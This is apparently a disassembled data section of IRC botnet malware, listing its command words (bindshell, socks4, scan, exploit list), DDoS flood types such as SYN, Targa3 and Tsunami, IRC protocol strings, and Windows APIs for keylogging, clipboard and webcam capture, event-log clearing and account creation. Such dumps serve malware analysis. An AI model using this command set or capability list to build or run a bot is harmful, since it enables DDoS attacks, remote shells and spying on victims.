		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
unk_42C2AC	db  2Dh	; -		; DATA XREF: sub_401ACD+16B8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
aReboot		db 'reboot',0           ; DATA XREF: sub_401ACD+16A1o
		align 4
aI:					; DATA XREF: sub_401ACD+168Co
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1677o
		align 4
aS_0:					; DATA XREF: sub_401ACD+1662o
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+164Do
		align 4
aQ:					; DATA XREF: sub_401ACD+1638o
					; ___:off_437BF0o
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+1623o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+160Eo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15F9o
		align 4
aR:					; DATA XREF: sub_401ACD+15E4o
					; sub_401ACD+3DA8o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15CFo
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+15BAo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+15A5o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1590o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1566o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1551o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+153Co
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+1527o
		align 10h
dword_42C370	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401ACD+151Co
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+1517o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14FEo
		align 10h
dword_42C390	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14F3o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14EEo
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14D5o
		align 4
dword_42C3B4	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+14CAo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+14C5o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+14ACo
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1497o
		align 10h
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1482o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+146Do
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1458o
		align 4
dword_42C404	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+144Do
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+142Fo
		align 10h
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+1406o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13DDo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+13B4o
		align 10h
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+138Bo
unk_42C44C	db  2Dh	; -		; DATA XREF: sub_401ACD+1371o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42C480	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1336o
					; sub_401ACD+13D2o
dword_42C490	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1331o
					; sub_401ACD+13CDo
dword_42C4A0	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+1318o
					; sub_401ACD+13A9o
dword_42C4B0	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+1313o
					; sub_401ACD+13A4o
dword_42C4C0	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+12B8o
					; sub_401ACD+1424o
dword_42C4CC	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o
					; sub_401ACD+141Fo
dword_42C4D8	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao
					; sub_401ACD+13FBo
dword_42C4E4	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o
					; sub_401ACD+13F6o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1235o
		align 4
dword_42C4FC	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+122Ao
					; sub_401ACD+12F7o
dword_42C508	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o
					; sub_401ACD+12F2o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+120Co
		align 10h
dword_42C520	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+1201o
					; sub_401ACD+12D9o
dword_42C530	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11FCo
					; sub_401ACD+12D4o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11E3o
		align 4
dword_42C54C	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11D8o
					; sub_401ACD+1357o
dword_42C55C	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11D3o
					; sub_401ACD+1352o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+11BAo
		align 4
dword_42C578	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo
					; sub_401ACD+1279o
dword_42C584	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo
					; sub_401ACD+1274o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1191o
dword_42C598	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1186o
					; sub_401ACD+125Bo
dword_42C5A4	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o
					; sub_401ACD+1256o
dword_42C5B0	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o
dword_42C5BC	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+115Do
dword_42C5CC	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1158o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+113Fo
		align 4
dword_42C5EC	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o
dword_42C5F8	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+112Fo
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+1116o
dword_42C60C	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10EDo
		align 4
dword_42C628	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10E2o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+10C4o
		align 4
dword_42C644	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+10BCo
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+109Eo
		align 10h
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1089o
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1074o
		align 4
dword_42C66C	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1052o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+104Do
					; sub_401ACD+10B7o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1034o
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+101Fo
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+100Ao
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FF5o
		align 10h
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FE0o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FCBo
					; sub_401ACD+2D69o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+FB6o
					; sub_401ACD+2D58o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401ACD+FA1o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F8Co
		align 4
aDed		db 'ded',0              ; DATA XREF: sub_401ACD+F77o
aDedication	db 'dedication',0       ; DATA XREF: sub_401ACD+F62o
		align 4
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F4Do
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F38o
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F23o
		align 4
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+F0Eo
		align 10h
aD:					; DATA XREF: sub_401ACD+EF9o
					; ___:00437C1Co ...
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_401ACD+EE4o
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+ECFo
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+EB7o
a63		db '63',0               ; DATA XREF: sub_401ACD+D84o
		align 4
asc_42C718:				; DATA XREF: sub_401ACD+D5Co
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D1Fo
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+D14o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+D03o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CE7o
		align 10h
aUser_0		db '$user',0            ; DATA XREF: sub_401ACD+CD6o
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CC4o
aD_0		db '$%d',0              ; DATA XREF: sub_401ACD+C56o
aD_1		db '$%d-',0             ; DATA XREF: sub_401ACD+B92o
		align 4
aK:					; DATA XREF: sub_401ACD+AA6o
					; sub_401ACD+3DD2o ...
		unicode	0, <k>,0
unk_42C75C	db  2Dh	; -		; DATA XREF: sub_401ACD+A80o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 10h
unk_42C790	db  2Dh	; -		; DATA XREF: sub_401ACD+A6Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 10h
unk_42C7C0	db  2Dh	; -		; DATA XREF: sub_401ACD+A5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_31	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_42C7F8	db  2Dh	; -		; DATA XREF: sub_401ACD+9EFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+958o
		align 10h
unk_42C820	db  2Dh	; -		; DATA XREF: sub_401ACD+938o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42C864	db  2Dh	; -		; DATA XREF: sub_401ACD+920o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_32	db '- Failed to start transfer thread, error: <%d>.',0
		align 10h
dword_42C8A0	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+90Fo
		dd 0A0Dh
dword_42C8B8	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8DBo
dword_42C8C0	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8D0o
		dd 0D017325h, 0Ah
dword_42C8DC	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+89Fo
dword_42C8E8	dd 23h			; DATA XREF: sub_401ACD+816o
					; sub_40CA7F+1Bo
unk_42C8EC	db  2Dh	; -		; DATA XREF: sub_401ACD+785o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+706o
					; sub_401ACD+995o ...
		align 10h
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6DFo
		align 4
dword_42C928	dd 43434401h, 0		; DATA XREF: sub_401ACD+6C1o
dword_42C930	dd 323333h		; DATA XREF: sub_401ACD+64Bo
					; sub_401ACD+ADCo ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+629o
					; sub_409A72+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+61Do
					; sub_409A72+16o
unk_42C944	db  2Dh	; -		; DATA XREF: sub_401ACD+5CCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 4
unk_42C968	db  2Dh	; -		; DATA XREF: sub_401ACD+5A5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401ACD+574o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+537o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+526o
					; sub_401ACD+5E9o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+60Do
unk_42C9BC	db  2Dh	; -		; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2EBCo ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7C8Eo ...
		align 10h
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_4177CF:loc_417837o
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 10h
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_4177CF+50o
		align 4
asc_42CA28:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7DADo
		unicode	0, <!>,0
asc_42CA2C:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E5Co ...
		unicode	0, < >,0
asc_42CA30	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_402601o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409B12:loc_40A77Co
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409B12+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409B12+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409B12+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409B12+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409B12+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409B12:loc_40A6DEo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409B12+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409B12+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409B12:loc_40A694o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o
		align 10h
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409B12:loc_40A620o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409B12+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409B12:loc_40A5D6o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409B12:loc_40A58Co
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409B12+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo
					; sub_4185A4+65o
		align 10h
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409B12+9DFo
		align 10h
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409B12+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409B12+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409B12+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409B12+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409B12+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409B12+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409B12+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409B12:loc_40A470o
					; sub_4185A4+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409B12+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409B12+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409B12+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409B12:loc_40A411o
		align 10h
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409B12+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo
		align 10h
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o
		align 10h
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409B12:loc_40A2F1o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409B12+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409B12+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409B12+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409B12+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409B12+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409B12+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409B12+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409B12+64Bo
		align 10h
aListen		db 'listen',0           ; DATA XREF: sub_409B12+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409B12+631o
		align 10h
aBind		db 'bind',0             ; DATA XREF: sub_409B12+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409B12+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409B12+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409B12+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409B12+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409B12+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409B12+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409B12+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409B12+5AFo
		align 10h
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409B12+5A2o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_409B12+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409B12+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409B12+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409B12+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409B12+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409B12+554o
		align 10h
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409B12+547o
		align 10h
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409B12+53Ao
		align 10h
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409B12+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409B12+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409B12+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409B12+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409B12+494o
		align 10h
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409B12+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409B12+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409B12+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o
		align 10h
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409B12+43Eo
		align 10h
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409B12:loc_409F3Fo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409B12:loc_409F17o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o
		align 10h
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409B12+386o
		align 10h
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409B12+379o
		align 10h
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409B12+36Co
		align 10h
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409B12+35Fo
		align 10h
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409B12:loc_409E69o
		align 10h
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao
		align 10h
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409B12+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409B12+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409B12+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409B12+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409B12+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409B12+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409B12+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409B12:loc_409D71o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409B12+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409B12+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409B12+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409B12+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409B12+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409B12+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409B12+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409B12+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409B12+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409B12:loc_409C47o
					; sub_424D78+Do
		align 10h
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409B12+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409B12+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409B12+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409B12+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409B12+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo
		align 10h
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409B12+23o
		align 10h
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409B12+Ao
		align 10h
